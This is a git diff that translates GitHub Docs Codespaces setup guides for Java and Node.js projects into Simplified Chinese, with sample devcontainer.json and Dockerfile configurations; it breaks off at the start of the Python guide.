--- a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md
+++ b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md
@@ -1,7 +1,7 @@
 ---
 title: Setting up your Java project for Codespaces
 shortTitle: Setting up with your Java project
-intro: 'Get started with your Java project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.'
+intro: '通过创建自定义开发容器，开始在 {% data variables.product.prodname_codespaces %} 中使用 Java 项目。'
 product: '{% data reusables.gated-features.codespaces %}'
 redirect_from:
   - /codespaces/getting-started-with-codespaces/getting-started-with-your-java-project-in-codespaces
@@ -16,52 +16,50 @@ hidden: true
 
 
 
-## Introduction
+## 简介
 
-This guide shows you how to set up your Java project in {% data variables.product.prodname_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template.
+本指南介绍如何在 {% data variables.product.prodname_codespaces %} 中设置 Java 项目。 它将演示在代码空间中打开项目以及从模板添加和修改开发容器配置的示例。
 
-### Prerequisites
+### 基本要求
 
-- You should have an existing Java project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/microsoft/vscode-remote-try-java
-- You must have {% data variables.product.prodname_codespaces %} enabled for your organization.
+- 您应该在 {% data variables.product.prodname_dotcom_the_website %} 的仓库中有现有的 Java 项目。 如果您没有项目，可以使用以下示例尝试本教程：https://github.com/microsoft/vscode-remote-try-java
+- 您必须为组织启用 {% data variables.product.prodname_codespaces %} 。
 
-## Step 1: Open your project in a codespace
+## 步骤 1：在代码空间中打开项目
 
 1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**.
 
-  ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png)
+  ![新建代码空间按钮](/assets/images/help/codespaces/new-codespace-button.png)
 
   If you don’t see this option, {% data variables.product.prodname_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) for more information.
 
-When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including Java, nvm, npm, and yarn. It also includes a common set of tools like git, wget, rsync, openssh, and nano.
+创建代码空间时，您的项目是在专用于您的远程 VM 上创建的。 默认情况下，代码空间的容器有许多语言和运行时，包括 Java、nvm、npm 和 yarn。 它还包括一套常见的工具，例如 git、wget、rsync、openssh 和 nano。
 
-You can customize your codespace by adjusting the amount of vCPUs and RAM, [adding dotfiles to personalize your environment](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account), or by modifying the tools and scripts installed.
+您可以通过调整 vCPU 和 RAM 的数量、[添加 dotfiles 以个性化环境](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)或者修改安装的工具和脚本来自定义代码空间。
 
-{% data variables.product.prodname_codespaces %} uses a file called `devcontainer.json` to store configurations. On launch {% data variables.product.prodname_codespaces %} uses the file to install any tools, dependencies, or other set up that might be needed for the project. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+{% data variables.product.prodname_codespaces %} 使用名为 `devcontainer.json` 的文件来存储配置。 在启动时， {% data variables.product.prodname_codespaces %} 使用文件安装项目可能需要的任何工具、依赖项或其他设置。 For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
 
 
-## Step 2: Add a dev container to your codespace from a template
+## 步骤 2：从模板将开发容器添加到您的代码空间
 
-The default codespaces container comes with the latest Java version, package managers (Maven, Gradle), and other common tools preinstalled. However, we recommend that you set up a custom container to define the tools and scripts that your project needs. This will ensure a fully reproducible environment for all {% data variables.product.prodname_codespaces %} users in your repository.
+默认代码空间容器附带最新的 Java 版本、包管理器（Maven、Gradle）和其他预装的常用工具。 但是，我们建议您设置一个自定义容器来定义项目所需的工具和脚本。 这将确保仓库中的所有 {% data variables.product.prodname_codespaces %} 用户都拥有完全可复制的环境。
 
-To set up your project with a custom container, you will need to use a `devcontainer.json` file to define the environment. In {% data variables.product.prodname_codespaces %} you can add this either from a template or you can create your own. For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+要使用自定义容器设置项目，您需要使用 `devcontainer.json` 文件来定义环境。 在 {% data variables.product.prodname_codespaces %} 中，您可以从模板添加它，也可以自己创建。 For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
 
 
 {% data reusables.codespaces.command-palette-container %}
-3. For this example, click **Java**. In practice, you could select any container that’s specific to Java or a combination of tools such as Java and Azure Functions.
-  ![Select Java option from the list](/assets/images/help/codespaces/add-java-prebuilt-container.png)
-4. Click the recommended version of Java.
-  ![Java version selection](/assets/images/help/codespaces/add-java-version.png)
+3. 对于此示例，单击 **Java**。 实际上，您可以选择任何特定于 Java 的容器或 Java 和 Azure 函数等工具的组合。 ![从列表中选择 Java 选项](/assets/images/help/codespaces/add-java-prebuilt-container.png)
+4. 单击推荐的 Java 版本。 ![Java 版本选择](/assets/images/help/codespaces/add-java-version.png)
 {% data reusables.codespaces.rebuild-command %}
 
-### Anatomy of your dev container
+### 开发容器的剖析
 
-Adding the Java dev container template adds a `.devcontainer` folder to the root of your project's repository with the following files:
+添加 Java 开发容器模板会将 `.devcontainer` 文件夹添加到项目仓库的根目录中，其中包含以下文件：
 
 - `devcontainer.json`
 - Dockerfile
 
-The newly added `devcontainer.json` file defines a few properties that are described after the sample.
+新添加的 `devcontainer.json` 文件定义了几个在样本之后描述的属性。
 
 #### devcontainer.json
 
@@ -69,55 +67,55 @@ The newly added `devcontainer.json` file defines a few properties that are descr
 // For format details, see https://aka.ms/vscode-remote/devcontainer.json or this file's README at:
 // https://github.com/microsoft/vscode-dev-containers/tree/v0.159.0/containers/java
 {
-	"name": "Java",
-	"build": {
-		"dockerfile": "Dockerfile",
-		"args": {
-			// Update the VARIANT arg to pick a Java version: 11, 14
-			"VARIANT": "11",
-			// Options
-			"INSTALL_MAVEN": "true",
-			"INSTALL_GRADLE": "false",
-			"INSTALL_NODE": "false",
-			"NODE_VERSION": "lts/*"
-		}
-	},
+    "name": "Java",
+    "build": {
+        "dockerfile": "Dockerfile",
+        "args": {
+            // Update the VARIANT arg to pick a Java version: 11, 14
+            "VARIANT": "11",
+            // Options
+            "INSTALL_MAVEN": "true",
+            "INSTALL_GRADLE": "false",
+            "INSTALL_NODE": "false",
+            "NODE_VERSION": "lts/*"
+        }
+    },
 
-	// Set *default* container specific settings.json values on container create.
-	"settings": {
-		"terminal.integrated.shell.linux": "/bin/bash",
-		"java.home": "/docker-java-home",
-		"maven.executable.path": "/usr/local/sdkman/candidates/maven/current/bin/mvn"
-	},
+    // Set *default* container specific settings.json values on container create.
+    "settings": {
+        "terminal.integrated.shell.linux": "/bin/bash",
+        "java.home": "/docker-java-home",
+        "maven.executable.path": "/usr/local/sdkman/candidates/maven/current/bin/mvn"
+    },
 
-	// Add the IDs of extensions you want installed when the container is created.
-	"extensions": [
-		"vscjava.vscode-java-pack"
-	],
+    // Add the IDs of extensions you want installed when the container is created.
+    "extensions": [
+        "vscjava.vscode-java-pack"
+    ],
 
-	// Use 'forwardPorts' to make a list of ports inside the container available locally.
-	// "forwardPorts": [],
+    // Use 'forwardPorts' to make a list of ports inside the container available locally.
+    // "forwardPorts": [],
 
-	// Use 'postCreateCommand' to run commands after the container is created.
-	// "postCreateCommand": "java -version",
+    // Use 'postCreateCommand' to run commands after the container is created.
+    // "postCreateCommand": "java -version",
 
-	// Uncomment to connect as a non-root user. See https://aka.ms/vscode-remote/containers/non-root.
-	"remoteUser": "vscode"
+    // Uncomment to connect as a non-root user. 请参阅 https://aka.ms/vscode-remote/containers/non-root。
+    "remoteUser": "vscode"
 }
 ```
 
-- **Name** - You can name your dev container anything, this is just the default.
-- **Build** - The build properties.
-  - **Dockerfile** - In the build object, dockerfile is a reference to the Dockerfile that was also added from the template.
+- **Name** - 您可以将开发容器命名为任何名称，这只是默认名称。
+- **Build** - 构建属性。
+  - **Dockerfile** - 在构建对象中，dockerfile 是对 Dockerfile 的引用，该文件也是从模板中添加的。
   - **Args**
-    - **Variant**: This file only contains one build argument, which is the Java version that is passed into the Dockerfile.
-- **Settings** - These are {% data variables.product.prodname_vscode %} settings that you can set.
-  - **Terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this.
-- **Extensions** - These are extensions included by default.
-  - **Vscjava.vscode-java-pack** - The Java Extension Pack provides popular extensions for Java development to get you started.
-- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
-- **postCreateCommand** - If you want to run anything after you land in your codespace that’s not defined in the Dockerfile, you can do that here.
-- **remoteUser** - By default, you’re running as the `vscode` user, but you can optionally set this to `root`.
+    - **Variant**：此文件仅包含一个构建参数，即传递到 Dockerfile 的 Java 版本。
+- **Settings** - 它们是您可以设置的 {% data variables.product.prodname_vscode %} 设置。
+  - **Terminal.integrated.shell.linux** - 虽然 bash 是此处的默认设置，但您可以通过修改它来使用其他终端 shell。
+- **Extensions** - 它们是默认包含的扩展名。
+  - **Vscjava.vscode-java-pack** - Java 扩展包为 Java 开发提供了流行的扩展，以帮助您入门。
+- **forwardPorts** - 此处列出的任何端口都将自动转发。 For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
+- **postCreateCommand** - 如果您要在进入 Dockerfile 中未定义的代码空间后执行任何操作，您可以在此处执行。
+- **remoteUser** - 默认情况下，您以 `vscode` 用户身份运行，但您可以选择将其设置为 `root`。
 
 #### Dockerfile
 
@@ -147,48 +145,48 @@ RUN if [ "${INSTALL_NODE}" = "true" ]; then su vscode -c "source /usr/local/shar
 # RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g <your-package-here>" 2>&1
 ```
 
-You can use the Dockerfile to add additional container layers to specify OS packages, Java versions, or global packages we want included in our Dockerfile.
+您可以使用 Dockerfile 添加其他容器层，以指定要包含在 Dockerfile 中的操作系统包、Java 版本或全局包。
 
-## Step 3: Modify your devcontainer.json file
+## 步骤 3：修改 devcontainer.json 文件
 
-With your dev container added and a basic understanding of what everything does, you can now make changes to configure it for your environment. In this example, you'll add properties to install extensions and your project dependencies when your codespace launches.
+添加了开发容器并基本了解所有功能之后，您现在可以进行更改以针对您的环境进行配置。 在此示例中，您将在代码空间启动时添加属性以安装扩展和项目依赖项。
 
-1. In the Explorer, select the `devcontainer.json` file from the tree to open it. You might have to expand the `.devcontainer` folder to see it.
+1. 在 Explorer 中，从树中选择 `devcontainer.json` 文件来打开它。 您可能需要展开 `.devcontainer` 文件夹才能看到它。
 
   ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png)
 
-2. Add the following lines to your `devcontainer.json` file after `extensions`.
+2. 在 `devcontainer.json` 文件中的 `extensions` 后面添加以下行。
 
   ```json{:copy}
   "postCreateCommand": "npm install",
   "forwardPorts": [4000],
   ```
 
-  For more information on `devcontainer.json` properties, see the [devcontainer.json reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference) on the Visual Studio Code docs.
+  有关 `devcontainer.json` 属性的更多信息，请参阅 Visual Studio 文档中的 [devcontainer.json 参考](https://code.visualstudio.com/docs/remote/devcontainerjson-reference)。
 
 {% data reusables.codespaces.rebuild-command %}
 
-  Rebuilding inside your codespace ensures your changes work as expected before you commit the changes to the repository. If something does result in a failure, you’ll be placed in a codespace with a recovery container that you can rebuild from to keep adjusting your container.
+  在代码空间内进行重建可确保在将更改提交到仓库之前，更改能够按预期工作。 如果某些问题导致了故障，您将进入带有恢复容器的代码空间中，您可以从该容器进行重建以继续调整容器。
 
 
-## Step 4: Run your application
+## 步骤 4：运行应用程序
 
-In the previous section, you used the `postCreateCommand` to install a set of packages via npm. You can now use this to run our application with npm.
+在上一节中，您使用 `postCreateCommand` 通过 npm 安装了一组包。 您现在可以使用它来通过 npm 运行应用程序。
 
-1. Run your application by pressing `F5`.
+1. 按 `F5` 运行应用程序。
 
-2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses.
+2. 项目启动时，您应该在右下角看到一个信息框，提示您连接到项目使用的端口。
 
-  ![Port forwarding toast](/assets/images/help/codespaces/codespaces-port-toast.png)
+  ![端口转发信息框](/assets/images/help/codespaces/codespaces-port-toast.png)
 
-## Step 5: Commit your changes
+## 步骤 5：提交更改
 
 {% data reusables.codespaces.committing-link-to-procedure %}
 
-## Next steps
+## 后续步骤
 
-You should now be ready start developing your Java project in {% data variables.product.prodname_codespaces %}. Here are some additional resources for more advanced scenarios.
+现在，您应该准备开始在 {% data variables.product.prodname_codespaces %} 中开发您的 Java 项目。 以下是用于更高级场景的一些额外资源。
 
-- [Managing encrypted secrets for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces)
-- [Managing GPG verification for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces)
-- [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)
+- [管理 {% data variables.product.prodname_codespaces %} 的加密密码](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces)
+- [管理 {% data variables.product.prodname_codespaces %} 的 GPG 验证](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces)
+- [代码空间中的转发端口](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)
diff --git a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md
index d2825ffebe..58bd69b7cc 100644
--- a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md
+++ b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md
@@ -1,7 +1,7 @@
 ---
 title: Setting up your Node.js project for Codespaces
 shortTitle: Setting up your Node.js project
-intro: 'Get started with your JavaScript, Node.js, or TypeScript project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.'
+intro: '通过创建自定义开发容器，开始在 {% data variables.product.prodname_codespaces %} 中使用 JavaScript、Node.js 或 TypeScript 项目。'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -20,51 +20,49 @@ hidden: true
 
 
 
-## Introduction
+## 简介
 
-This guide shows you how to set up your JavaScript, Node.js, or TypeScript project in {% data variables.product.prodname_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template.
+本指南介绍如何在 {% data variables.product.prodname_codespaces %} 中设置 JavaScript、Node.js 或 TypeScript 项目。 它将演示在代码空间中打开项目以及从模板添加和修改开发容器配置的示例。
 
-### Prerequisites
+### 基本要求
 
-- You should have an existing JavaScript, Node.js, or TypeScript project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/microsoft/vscode-remote-try-node
-- You must have {% data variables.product.prodname_codespaces %} enabled for your organization.
+- 您应该在 {% data variables.product.prodname_dotcom_the_website %} 的仓库中有现有的 JavaScript、Node.js 或 TypeScript 项目。 如果您没有项目，可以使用以下示例尝试本教程：https://github.com/microsoft/vscode-remote-try-node
+- 您必须为组织启用 {% data variables.product.prodname_codespaces %} 。
 
-## Step 1: Open your project in a codespace
+## 步骤 1：在代码空间中打开项目
 
 1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**.
 
-  ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png)
+  ![新建代码空间按钮](/assets/images/help/codespaces/new-codespace-button.png)
 
   If you don’t see this option, {% data variables.product.prodname_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) for more information.
 
 
-When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including Node.js, JavaScript, Typescript, nvm, npm, and yarn. It also includes a common set of tools like git, wget, rsync, openssh, and nano.
+创建代码空间时，您的项目是在专用于您的远程 VM 上创建的。 默认情况下，代码空间的容器有许多语言和运行时，包括 Node.js、JavaScript、Typescript、nvm、npm 和 yarn。 它还包括一套常见的工具，例如 git、wget、rsync、openssh 和 nano。
 
-You can customize your codespace by adjusting the amount of vCPUs and RAM, [adding dotfiles to personalize your environment](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account), or by modifying the tools and scripts installed.
+您可以通过调整 vCPU 和 RAM 的数量、[添加 dotfiles 以个性化环境](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)或者修改安装的工具和脚本来自定义代码空间。
 
-{% data variables.product.prodname_codespaces %} uses a file called `devcontainer.json` to store configurations. On launch {% data variables.product.prodname_codespaces %} uses the file to install any tools, dependencies, or other set up that might be needed for the project. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+{% data variables.product.prodname_codespaces %} 使用名为 `devcontainer.json` 的文件来存储配置。 在启动时， {% data variables.product.prodname_codespaces %} 使用文件安装项目可能需要的任何工具、依赖项或其他设置。 For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
 
-## Step 2: Add a dev container to your codespace from a template
+## 步骤 2：从模板将开发容器添加到您的代码空间
 
-The default codespaces container will support running Node.js projects like [vscode-remote-try-node](https://github.com/microsoft/vscode-remote-try-node) out of the box. By setting up a custom container you can customize the tools and scripts that run as part of codespace creation and ensure a fully reproducible environment for all {% data variables.product.prodname_codespaces %} users in your repository.
+默认代码空间容器将支持运行 Node.js 项目，如开箱即用 [vscode-remote-try-node](https://github.com/microsoft/vscode-remote-try-node)。 通过设置自定义容器，您可以自定义在代码空间创建过程中运行的工具和脚本，并确保为仓库中的所有 {% data variables.product.prodname_codespaces %} 用户提供完全可复制的环境。
 
-To set up your project with a custom container, you will need to use a `devcontainer.json` file to define the environment. In {% data variables.product.prodname_codespaces %} you can add this either from a template or you can create your own. For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)".
+要使用自定义容器设置项目，您需要使用 `devcontainer.json` 文件来定义环境。 在 {% data variables.product.prodname_codespaces %} 中，您可以从模板添加它，也可以自己创建。 For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)".
 
 {% data reusables.codespaces.command-palette-container %}
-3. For this example, click **Node.js**.  If you need additional features you can select any container that’s specific to Node or a combination of tools such as Node and MongoDB.
-  ![Select Node option from the list](/assets/images/help/codespaces/add-node-prebuilt-container.png)
-4. Click the recommended version of Node.js.
-  ![Node.js version selection](/assets/images/help/codespaces/add-node-version.png)
+3. 对于此示例，单击 **Node.js**。  如果需要其他功能，您可以选择任何特定于节点或工具（如节点和 MongoDB）组合的容器。 ![从列表中选择节点选项](/assets/images/help/codespaces/add-node-prebuilt-container.png)
+4. 单击推荐的 Node.js 版本。 ![Node.js 版本选择](/assets/images/help/codespaces/add-node-version.png)
 {% data reusables.codespaces.rebuild-command %}
 
-### Anatomy of your dev container
+### 开发容器的剖析
 
-Adding the Node.js dev container template adds a `.devcontainer` folder to the root of your project's repository with the following files:
+添加 Node.js 开发容器模板会将 `.devcontainer` 文件夹添加到项目仓库的根目录中，其中包含以下文件：
 
 - `devcontainer.json`
 - Dockerfile
 
-The newly added `devcontainer.json` file defines a few properties that are described after the sample.
+新添加的 `devcontainer.json` 文件定义了几个在样本之后描述的属性。
 
 #### devcontainer.json
 
@@ -72,46 +70,46 @@ The newly added `devcontainer.json` file defines a few properties that are descr
 // For format details, see https://aka.ms/devcontainer.json. For config options, see the README at:
 // https://github.com/microsoft/vscode-dev-containers/tree/v0.162.0/containers/javascript-node
 {
-	"name": "Node.js",
-	"build": {
-		"dockerfile": "Dockerfile",
-		// Update 'VARIANT' to pick a Node version: 10, 12, 14
-		"args": { "VARIANT": "14" }
-	},
+    "name": "Node.js",
+    "build": {
+        "dockerfile": "Dockerfile",
+        // Update 'VARIANT' to pick a Node version: 10, 12, 14
+        "args": { "VARIANT": "14" }
+    },
 
-	// Set *default* container specific settings.json values on container create.
-	"settings": {
-		"terminal.integrated.shell.linux": "/bin/bash"
-	},
+    // Set *default* container specific settings.json values on container create.
+    "settings": {
+        "terminal.integrated.shell.linux": "/bin/bash"
+    },
 
-	// Add the IDs of extensions you want installed when the container is created.
-	"extensions": [
-		"dbaeumer.vscode-eslint"
-	],
+    // Add the IDs of extensions you want installed when the container is created.
+    "extensions": [
+        "dbaeumer.vscode-eslint"
+    ],
 
-	// Use 'forwardPorts' to make a list of ports inside the container available locally.
-	// "forwardPorts": [],
+    // Use 'forwardPorts' to make a list of ports inside the container available locally.
+    // "forwardPorts": [],
 
-	// Use 'postCreateCommand' to run commands after the container is created.
-	// "postCreateCommand": "yarn install",
+    // Use 'postCreateCommand' to run commands after the container is created.
+    // "postCreateCommand": "yarn install",
 
-	// Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root.
-	"remoteUser": "node"
+    // Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root.
+    "remoteUser": "node"
 }
 ```
 
-- **Name** - You can name your dev container anything, this is just the default.
-- **Build** - The build properties.
-  - **dockerfile** - In the build object, dockerfile is a reference to the Dockerfile that was also added from the template.
+- **Name** - 您可以将开发容器命名为任何名称，这只是默认名称。
+- **Build** - 构建属性。
+  - **dockerfile** - 在构建对象中，dockerfile 是对 Dockerfile 的引用，该文件也是从模板中添加的。
   - **Args**
-    - **Variant**: This file only contains one build argument, which is the node variant we want to use that is passed into the Dockerfile.
-- **Settings** - These are {% data variables.product.prodname_vscode %} settings that you can set.
-  - **Terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this.
-- **Extensions** - These are extensions included by default.
-  - **Dbaeumer.vscode-eslint** - ES lint is a great extension for linting, but for JavaScript there are a number of great Marketplace extensions you could also include.
-- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
-- **postCreateCommand** - If you want to run anything after you land in your codespace that’s not defined in the Dockerfile, you can do that here.
-- **remoteUser** - By default, you’re running as the vscode user, but you can optionally set this to root.
+    - **Variant**：此文件仅包含一个构建参数，即我们要用于传递到 Dockerfile 的节点变量。
+- **Settings** - 它们是您可以设置的 {% data variables.product.prodname_vscode %} 设置。
+  - **Terminal.integrated.shell.linux** - 虽然 bash 是此处的默认设置，但您可以通过修改它来使用其他终端 shell。
+- **Extensions** - 它们是默认包含的扩展名。
+  - **Dbaeumer.vscode-eslint** - ES lint 是 linting 的良好扩展，但是对于 JavaScript，您还可以包括许多出色的 Marketplace 扩展。
+- **forwardPorts** - 此处列出的任何端口都将自动转发。 For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
+- **postCreateCommand** - 如果您要在进入 Dockerfile 中未定义的代码空间后执行任何操作，您可以在此处执行。
+- **remoteUser** - 默认情况下，您以 vscode 用户身份运行，但您可以选择将其设置为 root。
 
 #### Dockerfile
 
@@ -132,50 +130,50 @@ FROM mcr.microsoft.com/vscode/devcontainers/javascript-node:0-${VARIANT}
 # RUN su node -c "npm install -g <your-package-list-here>"
 ```
 
-You can use the Dockerfile to add additional container layers to specify OS packages, node versions, or global packages we want included in our Dockerfile.
+您可以使用 Dockerfile 添加其他容器层，以指定要包含在 Dockerfile 中的操作系统包、节点版本或全局包。
 
-## Step 3: Modify your devcontainer.json file
+## 步骤 3：修改 devcontainer.json 文件
 
-With your dev container added and a basic understanding of what everything does, you can now make changes to configure it for your environment. In this example, you'll add properties to install npm when your codespace launches and make a list of ports inside the container available locally.
+添加了开发容器并基本了解所有功能之后，您现在可以进行更改以针对您的环境进行配置。 在此示例中，您将添加属性以在代码空间启动时安装 npm，并使容器内的端口列表在本地可用。
 
-1. In the Explorer, select the `devcontainer.json` file from the tree to open it. You might have to expand the `.devcontainer` folder to see it.
+1. 在 Explorer 中，从树中选择 `devcontainer.json` 文件来打开它。 您可能需要展开 `.devcontainer` 文件夹才能看到它。
 
   ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png)
 
-2. Add the following lines to your `devcontainer.json` file after `extensions`:
+2. 在 `devcontainer.json` 文件中的 `extensions` 后面添加以下行：
 
   ```json{:copy}
   "postCreateCommand": "npm install",
   "forwardPorts": [4000],
   ```
 
-  For more information on `devcontainer.json` properties, see the [devcontainer.json reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference) in the {% data variables.product.prodname_vscode %} docs.
+  有关 `devcontainer.json` 属性的更多信息，请参阅 {% data variables.product.prodname_vscode %} 文档中的 [devcontainer.json 参考](https://code.visualstudio.com/docs/remote/devcontainerjson-reference)。
 
 {% data reusables.codespaces.rebuild-command %}
 
-  Rebuilding inside your codespace ensures your changes work as expected before you commit the changes to the repository. If something does result in a failure, you’ll be placed in a codespace with a recovery container that you can rebuild from to keep adjusting your container.
+  在代码空间内进行重建可确保在将更改提交到仓库之前，更改能够按预期工作。 如果某些问题导致了故障，您将进入带有恢复容器的代码空间中，您可以从该容器进行重建以继续调整容器。
 
 
-## Step 4: Run your application
+## 步骤 4：运行应用程序
 
-In the previous section, you used the `postCreateCommand` to installing a set of packages via npm. You can now use this to run our application with npm.
+在上一节中，您使用 `postCreateCommand` 通过 npm 安装了一组包。 您现在可以使用它来通过 npm 运行应用程序。
 
-1. Run your start command in the terminal with`npm start`.
+1. 在终端中使用 `npm start` 运行启动命令。
 
-  ![npm start in terminal](/assets/images/help/codespaces/codespaces-npmstart.png)
+  ![终端的 npm 启动](/assets/images/help/codespaces/codespaces-npmstart.png)
 
-2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses.
+2. 项目启动时，您应该在右下角看到一个信息框，提示您连接到项目使用的端口。
 
-  ![Port forwarding toast](/assets/images/help/codespaces/codespaces-port-toast.png)
+  ![端口转发信息框](/assets/images/help/codespaces/codespaces-port-toast.png)
 
-## Step 5: Commit your changes
+## 步骤 5：提交更改
 
 {% data reusables.codespaces.committing-link-to-procedure %}
 
-## Next steps
+## 后续步骤
 
-You should now be ready start developing your JavaScript project in {% data variables.product.prodname_codespaces %}. Here are some additional resources for more advanced scenarios.
+现在，您应该准备开始在 {% data variables.product.prodname_codespaces %} 中开发您的 JavaScript 项目。 以下是用于更高级场景的一些额外资源。
 
-- [Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)
-- [Managing GPG verification for {% data variables.product.prodname_codespaces %}](/codespaces/managing-your-codespaces/managing-gpg-verification-for-codespaces)
-- [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)
+- [管理代码空间的加密密码](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)
+- [管理 {% data variables.product.prodname_codespaces %} 的 GPG 验证](/codespaces/managing-your-codespaces/managing-gpg-verification-for-codespaces)
+- [代码空间中的转发端口](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)
diff --git a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md
index 6e68ed79d6..297af6ff30 100644
--- a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md
+++ b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md
@@ -16,4 +16,4 @@ hasExperimentalAlternative: true
 interactive: true
 ---
 
-<!-- This article is specially rendered via the pages/ directory -->
\ No newline at end of file
+<!-- This article is specially rendered via the pages/ directory -->
diff --git a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md
index ff74da3c4c..992161b721 100644
--- a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md
+++ b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md
@@ -1,7 +1,7 @@
 ---
 title: Setting up your Python project for Codespaces
 shortTitle: Setting up your Python project
-intro: 'Get started with your Python project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.'
+intro: '通过创建自定义开发容器，开始在 {% data variables.product.prodname_codespaces %} 中使用 Python 项目。'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -19,119 +19,116 @@ hidden: true
 
 
 
-## Introduction
+## 简介
 
-This guide shows you how to set up your Python project in {% data variables.product.prodname_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template.
+本指南介绍如何在 {% data variables.product.prodname_codespaces %} 中设置 Python 项目。 它将演示在代码空间中打开项目以及从模板添加和修改开发容器配置的示例。
 
-### Prerequisites
+### 基本要求
 
